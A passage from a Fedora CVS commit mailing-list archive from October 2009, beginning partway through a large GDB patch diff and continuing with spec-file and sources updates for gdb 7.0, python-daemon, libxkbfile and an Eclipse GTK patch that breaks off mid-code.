+-    make_cleanup_delete_breakpoint (terminate_bp);
++    terminate_bp_cleanup = make_cleanup_delete_breakpoint (terminate_bp);
+ 
+   /* - SNIP - SNIP - SNIP - SNIP - SNIP - SNIP - SNIP - SNIP - SNIP -
+      If you're looking to implement asynchronous dummy-frames, then
+@@ -987,6 +988,11 @@ When the function is done executing, GDB will silently stop."),
+       internal_error (__FILE__, __LINE__, _("... should not be here"));
+     }
+ 
++  /* If we get here and the std::terminate() breakpoint has been set,
++     it has to be cleaned manually.  */
++  if (terminate_bp)
++    do_cleanups (terminate_bp_cleanup);
++
+   /* If we get here the called FUNCTION ran to completion,
+      and the dummy frame has already been popped.  */
+ 
 diff --git a/gdb/infcmd.c b/gdb/infcmd.c
 index 9e98290..fab1892 100644
 --- a/gdb/infcmd.c
@@ -11349,7 +11382,7 @@ index f1b5d17..31add7d 100644
  
  extern void notice_new_inferior (ptid_t, int, int);
 diff --git a/gdb/infrun.c b/gdb/infrun.c
-index 1a83a25..2ee2164 100644
+index ff7c6b9..9d29b15 100644
 --- a/gdb/infrun.c
 +++ b/gdb/infrun.c
 @@ -45,6 +45,8 @@
@@ -11392,7 +11425,26 @@ index 1a83a25..2ee2164 100644
        /* This causes the eventpoints and symbol table to be reset.
           Must do this now, before trying to determine whether to
           stop.  */
-@@ -3468,23 +3480,33 @@ process_event_stop_test:
+@@ -2845,6 +2857,9 @@ targets should add new threads to the thread list themselves in non-stop mode.")
+     {
+       struct regcache *regcache = get_thread_regcache (ecs->ptid);
+       struct gdbarch *gdbarch = get_regcache_arch (regcache);
++      struct cleanup *old_chain = save_inferior_ptid ();
++
++      inferior_ptid = ecs->ptid;
+ 
+       fprintf_unfiltered (gdb_stdlog, "infrun: stop_pc = %s\n",
+                           paddress (gdbarch, stop_pc));
+@@ -2861,6 +2876,8 @@ targets should add new threads to the thread list themselves in non-stop mode.")
+             fprintf_unfiltered (gdb_stdlog,
+                                 "infrun: (no data address available)\n");
+ 	}
++
++      do_cleanups (old_chain);
+     }
+ 
+   if (stepping_past_singlestep_breakpoint)
+@@ -3468,23 +3485,33 @@ process_event_stop_test:
  
  	ecs->event_thread->stepping_over_breakpoint = 1;
  
@@ -11438,7 +11490,7 @@ index 1a83a25..2ee2164 100644
  	keep_going (ecs);
  	return;
  
-@@ -3496,6 +3518,53 @@ infrun: BPSTAT_WHAT_SET_LONGJMP_RESUME (!gdbarch_get_longjmp_target)\n");
+@@ -3496,6 +3523,53 @@ infrun: BPSTAT_WHAT_SET_LONGJMP_RESUME (!gdbarch_get_longjmp_target)\n");
  	gdb_assert (ecs->event_thread->step_resume_breakpoint != NULL);
  	delete_step_resume_breakpoint (ecs->event_thread);
  
@@ -11492,7 +11544,7 @@ index 1a83a25..2ee2164 100644
  	ecs->event_thread->stop_step = 1;
  	print_stop_reason (END_STEPPING_RANGE, 0);
  	stop_stepping (ecs);
-@@ -4500,6 +4569,96 @@ insert_longjmp_resume_breakpoint (struct gdbarch *gdbarch, CORE_ADDR pc)
+@@ -4500,6 +4574,96 @@ insert_longjmp_resume_breakpoint (struct gdbarch *gdbarch, CORE_ADDR pc)
      set_momentary_breakpoint_at_pc (gdbarch, pc, bp_longjmp_resume);
  }
  
@@ -11589,7 +11641,7 @@ index 1a83a25..2ee2164 100644
  static void
  stop_stepping (struct execution_control_state *ecs)
  {
-@@ -4568,6 +4727,8 @@ keep_going (struct execution_control_state *ecs)
+@@ -4568,6 +4732,8 @@ keep_going (struct execution_control_state *ecs)
  	    }
  	  if (e.reason < 0)
  	    {
@@ -18014,7 +18066,7 @@ index 49c0437..84a476e 100644
 +  return 1;
 +}
 diff --git a/gdb/python/py-value.c b/gdb/python/py-value.c
-index 58bcee3..b2e7b7d 100644
+index 0146593..b82fcb6 100644
 --- a/gdb/python/py-value.c
 +++ b/gdb/python/py-value.c
 @@ -25,6 +25,7 @@
@@ -20070,7 +20122,7 @@ index e5d14fd..37fab72 100644
    current_target.to_stopped_data_address = debug_to_stopped_data_address;
    current_target.to_watchpoint_addr_within_range = debug_to_watchpoint_addr_within_range;
 diff --git a/gdb/target.h b/gdb/target.h
-index b1cb852..adff946 100644
+index b1cb852..3c06eba 100644
 --- a/gdb/target.h
 +++ b/gdb/target.h
 @@ -395,6 +395,7 @@ struct target_ops
@@ -20081,7 +20133,16 @@ index b1cb852..adff946 100644
      int (*to_stopped_by_watchpoint) (void);
      int to_have_steppable_watchpoint;
      int to_have_continuable_watchpoint;
-@@ -1166,6 +1167,15 @@ extern char *normal_pid_to_str (ptid_t ptid);
+@@ -1124,7 +1125,7 @@ extern char *normal_pid_to_str (ptid_t ptid);
+ /* Hardware watchpoint interfaces.  */
+ 
+ /* Returns non-zero if we were stopped by a hardware watchpoint (memory read or
+-   write).  */
++   write).  Only the INFERIOR_PTID task is being queried.  */
+ 
+ #define target_stopped_by_watchpoint \
+    (*current_target.to_stopped_by_watchpoint)
+@@ -1166,14 +1167,26 @@ extern char *normal_pid_to_str (ptid_t ptid);
  #define	target_remove_watchpoint(addr, len, type)	\
       (*current_target.to_remove_watchpoint) (addr, len, type)
  
@@ -20097,7 +20158,20 @@ index b1cb852..adff946 100644
  #define target_insert_hw_breakpoint(gdbarch, bp_tgt) \
       (*current_target.to_insert_hw_breakpoint) (gdbarch, bp_tgt)
  
-@@ -1203,6 +1213,20 @@ extern int target_search_memory (CORE_ADDR start_addr,
+ #define target_remove_hw_breakpoint(gdbarch, bp_tgt) \
+      (*current_target.to_remove_hw_breakpoint) (gdbarch, bp_tgt)
+ 
+-#define target_stopped_data_address(target, x) \
+-    (*target.to_stopped_data_address) (target, x)
++/* Return non-zero if target knows the data address which triggered this
++   target_stopped_by_watchpoint, in such case place it to *ADDR_P.  Only the
++   INFERIOR_PTID task is being queried.  */
++#define target_stopped_data_address(target, addr_p) \
++    (*target.to_stopped_data_address) (target, addr_p)
+ 
+ #define target_watchpoint_addr_within_range(target, addr, start, length) \
+   (*target.to_watchpoint_addr_within_range) (target, addr, start, length)
+@@ -1203,6 +1216,20 @@ extern int target_search_memory (CORE_ADDR start_addr,
                                   ULONGEST pattern_len,
                                   CORE_ADDR *found_addrp);
  
@@ -20118,7 +20192,7 @@ index b1cb852..adff946 100644
  /* Command logging facility.  */
  
  #define target_log_command(p)						\
-@@ -1322,6 +1346,14 @@ extern struct target_ops *find_target_beneath (struct target_ops *);
+@@ -1322,6 +1349,14 @@ extern struct target_ops *find_target_beneath (struct target_ops *);
  
  extern char *target_get_osdata (const char *type);
  
@@ -27292,10 +27366,10 @@ index 0000000..14f42d6
 +}
 diff --git a/gdb/testsuite/gdb.threads/watchthreads-reorder.exp b/gdb/testsuite/gdb.threads/watchthreads-reorder.exp
 new file mode 100644
-index 0000000..8f65364
+index 0000000..5ad1a4e
 --- /dev/null
 +++ b/gdb/testsuite/gdb.threads/watchthreads-reorder.exp
-@@ -0,0 +1,101 @@
+@@ -0,0 +1,105 @@
 +# This testcase is part of GDB, the GNU debugger.
 +
 +# Copyright 2009 Free Software Foundation, Inc.
@@ -27393,6 +27467,10 @@ index 0000000..8f65364
 +	     "Hardware read watchpoint \[0-9\]+: thread\[12\]_rwatch\r\n\r\nValue = 0\r\n0x\[0-9a-f\]+ in thread\[12\]_func .*" \
 +	     "continue b"
 +
++    # While the debug output itself is not checked in this testcase one bug was
++    # found in the DEBUG_INFRUN code path.
++    gdb_test "set debug infrun 1"
++
 +    gdb_continue_to_breakpoint "break-at-exit" ".*break-at-exit.*"
 +
 +    set pf_prefix $prefix_test
@@ -27803,7 +27881,7 @@ index a9c875d..12f6f07 100644
  }
  
 diff --git a/gdb/valops.c b/gdb/valops.c
-index b64cb21..b7d31cc 100644
+index 012ea6a..9b4d2a8 100644
 --- a/gdb/valops.c
 +++ b/gdb/valops.c
 @@ -38,6 +38,7 @@
@@ -27917,7 +27995,7 @@ index b64cb21..b7d31cc 100644
  	}
      }
    else if (VALUE_LVAL (val) == lval_register)
-@@ -1070,7 +1133,18 @@ address_of_variable (struct symbol *var, struct block *b)
+@@ -1072,7 +1135,18 @@ address_of_variable (struct symbol *var, struct block *b)
    if ((VALUE_LVAL (val) == lval_memory && value_lazy (val))
        || TYPE_CODE (type) == TYPE_CODE_FUNC)
      {
@@ -27937,7 +28015,7 @@ index b64cb21..b7d31cc 100644
        return value_from_pointer (lookup_pointer_type (type), addr);
      }
  
-@@ -1176,6 +1250,7 @@ struct value *
+@@ -1178,6 +1252,7 @@ struct value *
  value_coerce_array (struct value *arg1)
  {
    struct type *type = check_typedef (value_type (arg1));
@@ -27945,7 +28023,7 @@ index b64cb21..b7d31cc 100644
  
    /* If the user tries to do something requiring a pointer with an
       array that has not yet been pushed to the target, then this would
-@@ -1185,8 +1260,12 @@ value_coerce_array (struct value *arg1)
+@@ -1187,8 +1262,12 @@ value_coerce_array (struct value *arg1)
    if (VALUE_LVAL (arg1) != lval_memory)
      error (_("Attempt to take address of value not located in memory."));
  
@@ -27959,7 +28037,7 @@ index b64cb21..b7d31cc 100644
  }
  
  /* Given a value which is a function, return a value which is a pointer
-@@ -2069,12 +2148,25 @@ find_overload_match (struct type **arg_types, int nargs,
+@@ -2071,12 +2150,25 @@ find_overload_match (struct type **arg_types, int nargs,
    if (method)
      {
        gdb_assert (obj);
@@ -27990,7 +28068,7 @@ index b64cb21..b7d31cc 100644
  
        fns_ptr = value_find_oload_method_list (&temp, name, 
  					      0, &num_fns, 
-@@ -2094,16 +2186,29 @@ find_overload_match (struct type **arg_types, int nargs,
+@@ -2096,16 +2188,29 @@ find_overload_match (struct type **arg_types, int nargs,
      }
    else
      {
@@ -28028,7 +28106,7 @@ index b64cb21..b7d31cc 100644
        if (func_name == NULL)
          {
  	  *symp = fsym;
-@@ -2534,8 +2639,8 @@ check_field (struct type *type, const char *name)
+@@ -2536,8 +2641,8 @@ check_field (struct type *type, const char *name)
     the comment before value_struct_elt_for_reference.  */
  
  struct value *
@@ -28039,7 +28117,7 @@ index b64cb21..b7d31cc 100644
  		     enum noside noside)
  {
    switch (TYPE_CODE (curtype))
-@@ -2543,7 +2648,7 @@ value_aggregate_elt (struct type *curtype,
+@@ -2545,7 +2650,7 @@ value_aggregate_elt (struct type *curtype,
      case TYPE_CODE_STRUCT:
      case TYPE_CODE_UNION:
        return value_struct_elt_for_reference (curtype, 0, curtype, 
@@ -28048,7 +28126,7 @@ index b64cb21..b7d31cc 100644
  					     want_address, noside);
      case TYPE_CODE_NAMESPACE:
        return value_namespace_elt (curtype, name, 
-@@ -2554,6 +2659,56 @@ value_aggregate_elt (struct type *curtype,
+@@ -2556,6 +2661,56 @@ value_aggregate_elt (struct type *curtype,
      }
  }
  
@@ -28105,7 +28183,7 @@ index b64cb21..b7d31cc 100644
  /* C++: Given an aggregate type CURTYPE, and a member name NAME,
     return the address of this member as a "pointer to member" type.
     If INTYPE is non-null, then it will be the type of the member we
-@@ -2631,23 +2786,46 @@ value_struct_elt_for_reference (struct type *domain, int offset,
+@@ -2633,23 +2788,46 @@ value_struct_elt_for_reference (struct type *domain, int offset,
  	}
        if (t_field_name && strcmp (t_field_name, name) == 0)
  	{
@@ -28162,7 +28240,7 @@ index b64cb21..b7d31cc 100644
  
  	  if (TYPE_FN_FIELD_STATIC_P (f, j))
  	    {
-@@ -2761,7 +2939,7 @@ value_maybe_namespace_elt (const struct type *curtype,
+@@ -2763,7 +2941,7 @@ value_maybe_namespace_elt (const struct type *curtype,
    struct symbol *sym;
    struct value *result;
  
@@ -28171,7 +28249,7 @@ index b64cb21..b7d31cc 100644
  				    get_selected_block (0), 
  				    VAR_DOMAIN);
  
-@@ -2905,7 +3083,7 @@ value_of_local (const char *name, int complain)
+@@ -2907,7 +3085,7 @@ value_of_local (const char *name, int complain)
  
    /* Calling lookup_block_symbol is necessary to get the LOC_REGISTER
       symbol instead of the LOC_ARG one (if both exist).  */
@@ -28180,7 +28258,7 @@ index b64cb21..b7d31cc 100644
    if (sym == NULL)
      {
        if (complain)
-@@ -2959,8 +3137,6 @@ value_slice (struct value *array, int lowbound, int length)
+@@ -2961,8 +3139,6 @@ value_slice (struct value *array, int lowbound, int length)
        || lowbound + length - 1 > upperbound)
      error (_("slice out of range"));
  


Index: gdb.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gdb/F-12/gdb.spec,v
retrieving revision 1.391
retrieving revision 1.392
diff -u -p -r1.391 -r1.392
--- gdb.spec	30 Sep 2009 21:03:20 -0000	1.391
+++ gdb.spec	7 Oct 2009 19:17:19 -0000	1.392
@@ -10,11 +10,11 @@ Name: gdb%{?_with_debug:-debug}
 # Set version to contents of gdb/version.in.
 # NOTE: the FSF gdb versions are numbered N.M for official releases, like 6.3 
 # and, since January 2005, X.Y.Z.date for daily snapshots, like 6.3.50.20050112 # (daily snapshot from mailine), or 6.3.0.20040112 (head of the release branch).
-Version: 6.8.91.20090930
+Version: 7.0
 
 # The release always contains a leading reserved number, start it at 1.
 # `upstream' is not a part of `name' to stay fully rpm dependencies compatible for the testing.
-Release: 2%{?_with_upstream:.upstream}%{?dist}
+Release: 1%{?_with_upstream:.upstream}%{?dist}
 
 License: GPLv3+
 Group: Development/Debuggers
@@ -367,6 +367,9 @@ Patch376: libstdc++-v3-python-common-pre
 # New test for step-resume breakpoint placed in multiple threads at once.
 Patch381: gdb-simultaneous-step-resume-breakpoint-test.patch
 
+# Fix GNU/Linux core open: Can't read pathname for load map: Input/output error.
+Patch382: gdb-core-open-vdso-warning.patch
+
 BuildRequires: ncurses-devel texinfo gettext flex bison expat-devel
 Requires: readline
 BuildRequires: readline-devel
@@ -560,6 +563,7 @@ rm -f gdb/jv-exp.c gdb/m2-exp.c gdb/objc
 %patch375 -p1
 %patch376 -p1
 %patch381 -p1
+%patch382 -p1
 %patch124 -p1
 
 find -name "*.orig" | xargs rm -f
@@ -847,6 +851,11 @@ fi
 %endif
 
 %changelog
+* Wed Oct  7 2009 Jan Kratochvil <jan.kratochvil at redhat.com> - 7.0-1
+- Formal upgrade to the final FSF GDB release gdb-7.0.
+- Fix GNU/Linux core open: Can't read pathname for load map: Input/output error.
+- archer-jankratochvil-fedora12 commit: ce4ead356654b951a49ca78d81ebfff95e758bf5
+
 * Wed Sep 30 2009 Jan Kratochvil <jan.kratochvil at redhat.com> - 6.8.91.20090930-2
 - Bump release.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gdb/F-12/sources,v
retrieving revision 1.41
retrieving revision 1.42
diff -u -p -r1.41 -r1.42
--- sources	30 Sep 2009 21:02:26 -0000	1.41
+++ sources	7 Oct 2009 19:17:19 -0000	1.42
@@ -1,2 +1,2 @@
 1e3a26040dcdd3579d75967085eb92b9  libstdc++-v3-python-r151798.tar.xz
-729517cc8e6ca6e25cf4be343ffc4c3d  gdb-6.8.91.20090930.tar.bz2
+3386a7b69c010785c920ffc1e9cb890a  gdb-7.0.tar.bz2



From lmacken at fedoraproject.org  Wed Oct  7 19:24:34 2009
From: lmacken at fedoraproject.org (Luke Macken)
Date: Wed,  7 Oct 2009 19:24:34 +0000 (UTC)
Subject: rpms/python-daemon/devel python-daemon.spec,1.2,1.3
Message-ID: <20091007192434.62A9B11C00E6@cvs1.fedora.phx.redhat.com>

Author: lmacken

Update of /cvs/pkgs/rpms/python-daemon/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6885

Modified Files:
	python-daemon.spec 
Log Message:
* Wed Oct 07 2009 Luke Macken <lmacken at redhat.com> - 1.5.1-1
- Update to 1.5.1
- Remove conflicting files (#512760)




Index: python-daemon.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-daemon/devel/python-daemon.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- python-daemon.spec	26 Jul 2009 20:16:56 -0000	1.2
+++ python-daemon.spec	7 Oct 2009 19:24:34 -0000	1.3
@@ -1,8 +1,9 @@
 %{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
+%{!?pyver: %define pyver %(%{__python} -c "import sys ; print sys.version[:3]")}
 
 Name:           python-daemon
-Version:        1.4.6
-Release:        2%{?dist}
+Version:        1.5.1
+Release:        1%{?dist}
 Summary:        Library to implement a well-behaved Unix daemon process
 
 Group:          Development/Languages
@@ -31,20 +32,28 @@ This library implements the well-behaved
 
 
 %install
-rm -rf $RPM_BUILD_ROOT
-%{__python} setup.py install -O1 --skip-build --root $RPM_BUILD_ROOT
+rm -rf %{buildroot}
+%{__python} setup.py install -O1 --skip-build --root %{buildroot}
+rm -fr %{buildroot}%{python_sitelib}/tests
 
 %clean
-rm -rf $RPM_BUILD_ROOT
+rm -rf %{buildroot}
 
+# Test suite requires minimock and lockfile
+#%check
+#PYTHONPATH=$(pwd) nosetest
 
 %files
 %defattr(-,root,root,-)
 %doc TODO LICENSE.PSF-2
-%{python_sitelib}/*
-
+%{python_sitelib}/daemon/
+%{python_sitelib}/python_daemon-%{version}-py%{pyver}.egg-info/
 
 %changelog
+* Wed Oct 07 2009 Luke Macken <lmacken at redhat.com> - 1.5.1-1
+- Update to 1.5.1
+- Remove conflicting files (#512760)
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.4.6-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From lmacken at fedoraproject.org  Wed Oct  7 19:27:28 2009
From: lmacken at fedoraproject.org (Luke Macken)
Date: Wed,  7 Oct 2009 19:27:28 +0000 (UTC)
Subject: rpms/python-daemon/devel .cvsignore,1.2,1.3 sources,1.2,1.3
Message-ID: <20091007192728.7E2F511C00E6@cvs1.fedora.phx.redhat.com>

Author: lmacken

Update of /cvs/pkgs/rpms/python-daemon/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7565

Modified Files:
	.cvsignore sources 
Log Message:
Update the sources


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-daemon/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	29 Jun 2009 05:36:49 -0000	1.2
+++ .cvsignore	7 Oct 2009 19:27:27 -0000	1.3
@@ -1 +1 @@
-python-daemon-1.4.6.tar.gz
+python-daemon-1.5.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-daemon/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	29 Jun 2009 05:36:49 -0000	1.2
+++ sources	7 Oct 2009 19:27:27 -0000	1.3
@@ -1 +1 @@
-f3a81fd573d3770f616515f39058e31f  python-daemon-1.4.6.tar.gz
+46abde3f848aaaed0df3b1fe938234f0  python-daemon-1.5.1.tar.gz



From ajax at fedoraproject.org  Wed Oct  7 19:51:54 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Wed,  7 Oct 2009 19:51:54 +0000 (UTC)
Subject: rpms/libxkbfile/devel .cvsignore, 1.9, 1.10 libxkbfile.spec, 1.28, 
	1.29 sources, 1.9, 1.10
Message-ID: <20091007195154.3D3CA11C00E6@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/libxkbfile/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14471

Modified Files:
	.cvsignore libxkbfile.spec sources 
Log Message:
* Wed Oct 07 2009 Adam Jackson <ajax at redhat.com> 1.0.6-1
- libxkbfile 1.0.6



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libxkbfile/devel/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	20 Nov 2006 19:35:54 -0000	1.9
+++ .cvsignore	7 Oct 2009 19:51:53 -0000	1.10
@@ -1 +1 @@
-libxkbfile-1.0.4.tar.bz2
+libxkbfile-1.0.6.tar.bz2


Index: libxkbfile.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libxkbfile/devel/libxkbfile.spec,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- libxkbfile.spec	25 Jul 2009 08:57:58 -0000	1.28
+++ libxkbfile.spec	7 Oct 2009 19:51:54 -0000	1.29
@@ -1,7 +1,7 @@
 Summary: X.Org X11 libxkbfile runtime library
 Name: libxkbfile
-Version: 1.0.4
-Release: 10%{?dist}
+Version: 1.0.6
+Release: 1%{?dist}
 License: MIT
 Group: System Environment/Libraries
 URL: http://www.x.org
@@ -9,8 +9,7 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 
 Source0: ftp://ftp.x.org/pub/individual/lib/%{name}-%{version}.tar.bz2
 
-BuildRequires: xorg-x11-proto-devel
-BuildRequires: libX11-devel
+BuildRequires: pkgconfig(xproto) pkgconfig(x11)
 
 %description
 X.Org X11 libxkbfile runtime library
@@ -19,10 +18,6 @@ X.Org X11 libxkbfile runtime library
 Summary: X.Org X11 libxkbfile development package
 Group: Development/Libraries
 Requires: %{name} = %{version}-%{release}
-Requires: pkgconfig 
-
-# needed by xkbfile.pc
-BuildRequires: xorg-x11-proto-devel
 
 %description devel
 X.Org X11 libxkbfile development package
@@ -30,17 +25,11 @@ X.Org X11 libxkbfile development package
 %prep
 %setup -q
 
-# Disable static library creation by default.
-%define with_static 0
-
 %build
 # FIXME: We use -fno-strict-aliasing, to work around the following bug:
 # maprules.c:1373: warning: dereferencing type-punned pointer will break strict-aliasing rules)
 export CFLAGS="$RPM_OPT_FLAGS -fno-strict-aliasing"
-%configure \
-%if ! %{with_static}
-	--disable-static
-%endif
+%configure --disable-static
 make %{?_smp_mflags}
 
 %install
@@ -71,13 +60,13 @@ rm -rf $RPM_BUILD_ROOT
 %{_includedir}/X11/extensions/XKBrules.h
 %{_includedir}/X11/extensions/XKM.h
 %{_includedir}/X11/extensions/XKMformat.h
-%if %{with_static}
-%{_libdir}/libxkbfile.a
-%endif
 %{_libdir}/libxkbfile.so
 %{_libdir}/pkgconfig/xkbfile.pc
 
 %changelog
+* Wed Oct 07 2009 Adam Jackson <ajax at redhat.com> 1.0.6-1
+- libxkbfile 1.0.6
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.4-10
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libxkbfile/devel/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	20 Nov 2006 19:35:54 -0000	1.9
+++ sources	7 Oct 2009 19:51:54 -0000	1.10
@@ -1 +1 @@
-12b4ceb5d42b520228b5fb40a96ae6c5  libxkbfile-1.0.4.tar.bz2
+b01156e263eca8177e6b7f10441951c4  libxkbfile-1.0.6.tar.bz2



From ajax at fedoraproject.org  Wed Oct  7 19:55:31 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Wed,  7 Oct 2009 19:55:31 +0000 (UTC)
Subject: rpms/libxkbfile/F-12 libxkbfile.spec,1.28,1.29 sources,1.9,1.10
Message-ID: <20091007195531.C9B9B11C00E6@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/libxkbfile/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15482

Modified Files:
	libxkbfile.spec sources 
Log Message:
* Wed Oct 07 2009 Adam Jackson <ajax at redhat.com> 1.0.6-1
- libxkbfile 1.0.6



Index: libxkbfile.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libxkbfile/F-12/libxkbfile.spec,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- libxkbfile.spec	25 Jul 2009 08:57:58 -0000	1.28
+++ libxkbfile.spec	7 Oct 2009 19:55:31 -0000	1.29
@@ -1,7 +1,7 @@
 Summary: X.Org X11 libxkbfile runtime library
 Name: libxkbfile
-Version: 1.0.4
-Release: 10%{?dist}
+Version: 1.0.6
+Release: 1%{?dist}
 License: MIT
 Group: System Environment/Libraries
 URL: http://www.x.org
@@ -9,8 +9,7 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 
 Source0: ftp://ftp.x.org/pub/individual/lib/%{name}-%{version}.tar.bz2
 
-BuildRequires: xorg-x11-proto-devel
-BuildRequires: libX11-devel
+BuildRequires: pkgconfig(xproto) pkgconfig(x11)
 
 %description
 X.Org X11 libxkbfile runtime library
@@ -19,10 +18,6 @@ X.Org X11 libxkbfile runtime library
 Summary: X.Org X11 libxkbfile development package
 Group: Development/Libraries
 Requires: %{name} = %{version}-%{release}
-Requires: pkgconfig 
-
-# needed by xkbfile.pc
-BuildRequires: xorg-x11-proto-devel
 
 %description devel
 X.Org X11 libxkbfile development package
@@ -30,17 +25,11 @@ X.Org X11 libxkbfile development package
 %prep
 %setup -q
 
-# Disable static library creation by default.
-%define with_static 0
-
 %build
 # FIXME: We use -fno-strict-aliasing, to work around the following bug:
 # maprules.c:1373: warning: dereferencing type-punned pointer will break strict-aliasing rules)
 export CFLAGS="$RPM_OPT_FLAGS -fno-strict-aliasing"
-%configure \
-%if ! %{with_static}
-	--disable-static
-%endif
+%configure --disable-static
 make %{?_smp_mflags}
 
 %install
@@ -71,13 +60,13 @@ rm -rf $RPM_BUILD_ROOT
 %{_includedir}/X11/extensions/XKBrules.h
 %{_includedir}/X11/extensions/XKM.h
 %{_includedir}/X11/extensions/XKMformat.h
-%if %{with_static}
-%{_libdir}/libxkbfile.a
-%endif
 %{_libdir}/libxkbfile.so
 %{_libdir}/pkgconfig/xkbfile.pc
 
 %changelog
+* Wed Oct 07 2009 Adam Jackson <ajax at redhat.com> 1.0.6-1
+- libxkbfile 1.0.6
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.4-10
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libxkbfile/F-12/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	20 Nov 2006 19:35:54 -0000	1.9
+++ sources	7 Oct 2009 19:55:31 -0000	1.10
@@ -1 +1 @@
-12b4ceb5d42b520228b5fb40a96ae6c5  libxkbfile-1.0.4.tar.bz2
+b01156e263eca8177e6b7f10441951c4  libxkbfile-1.0.6.tar.bz2



From ajax at fedoraproject.org  Wed Oct  7 19:56:01 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Wed,  7 Oct 2009 19:56:01 +0000 (UTC)
Subject: rpms/libxkbfile/F-12 libxkbfile.spec,1.29,1.30
Message-ID: <20091007195601.C15BF11C00E6@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/libxkbfile/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15656

Modified Files:
	libxkbfile.spec 
Log Message:
* Wed Oct 07 2009 Adam Jackson <ajax at redhat.com> 1.0.6-1
- libxkbfile 1.0.6



Index: libxkbfile.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libxkbfile/F-12/libxkbfile.spec,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- libxkbfile.spec	7 Oct 2009 19:55:31 -0000	1.29
+++ libxkbfile.spec	7 Oct 2009 19:56:01 -0000	1.30
@@ -1,7 +1,7 @@
 Summary: X.Org X11 libxkbfile runtime library
 Name: libxkbfile
 Version: 1.0.6
-Release: 1%{?dist}
+Release: 1.1%{?dist}
 License: MIT
 Group: System Environment/Libraries
 URL: http://www.x.org



From overholt at fedoraproject.org  Wed Oct  7 19:59:11 2009
From: overholt at fedoraproject.org (Andrew Overholt)
Date: Wed,  7 Oct 2009 19:59:11 +0000 (UTC)
Subject: rpms/eclipse/devel eclipse-gtk2.18zorder.patch, NONE,
	1.1 eclipse.spec, 1.673, 1.674
Message-ID: <20091007195911.A401711C00E6@cvs1.fedora.phx.redhat.com>

Author: overholt

Update of /cvs/pkgs/rpms/eclipse/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16859

Modified Files:
	eclipse.spec 
Added Files:
	eclipse-gtk2.18zorder.patch 
Log Message:
* Wed Oct 07 2009 Andrew Overholt <overholt at redhat.com> 1:3.5.1-3
- Add patch for bugs.eclipse.org/287307

eclipse-gtk2.18zorder.patch:
 Eclipse SWT PI/gtk/library/os.c                         |   18 ++++
 Eclipse SWT PI/gtk/library/os_custom.h                  |    1 
 Eclipse SWT PI/gtk/library/os_stats.c                   |    7 +
 Eclipse SWT PI/gtk/library/os_stats.h                   |    1 
 Eclipse SWT PI/gtk/org/eclipse/swt/internal/gtk/OS.java |   15 +++
 Eclipse SWT/gtk/org/eclipse/swt/widgets/Control.java    |   61 +++++++---------
 6 files changed, 69 insertions(+), 34 deletions(-)

--- NEW FILE eclipse-gtk2.18zorder.patch ---
### Eclipse Workspace Patch 1.0
#P org.eclipse.swt
Index: Eclipse SWT/gtk/org/eclipse/swt/widgets/Control.java
===================================================================
RCS file: /cvsroot/eclipse/org.eclipse.swt/Eclipse SWT/gtk/org/eclipse/swt/widgets/Control.java,v
retrieving revision 1.380.2.1
diff -u -r1.380.2.1 Control.java
--- Eclipse SWT/gtk/org/eclipse/swt/widgets/Control.java	7 Aug 2009 18:50:38 -0000	1.380.2.1
+++ Eclipse SWT/gtk/org/eclipse/swt/widgets/Control.java	30 Sep 2009 16:19:55 -0000
@@ -3332,6 +3332,30 @@
 	region = null;
 }
 
+void restackWindow (int /*long*/ window, int /*long*/ sibling, boolean above) {
+	    if (OS.GTK_VERSION >= OS.VERSION (2, 17, 11)) {
+	    	OS.gdk_window_restack (window, sibling, above);
+	    } else {
+	    	/*
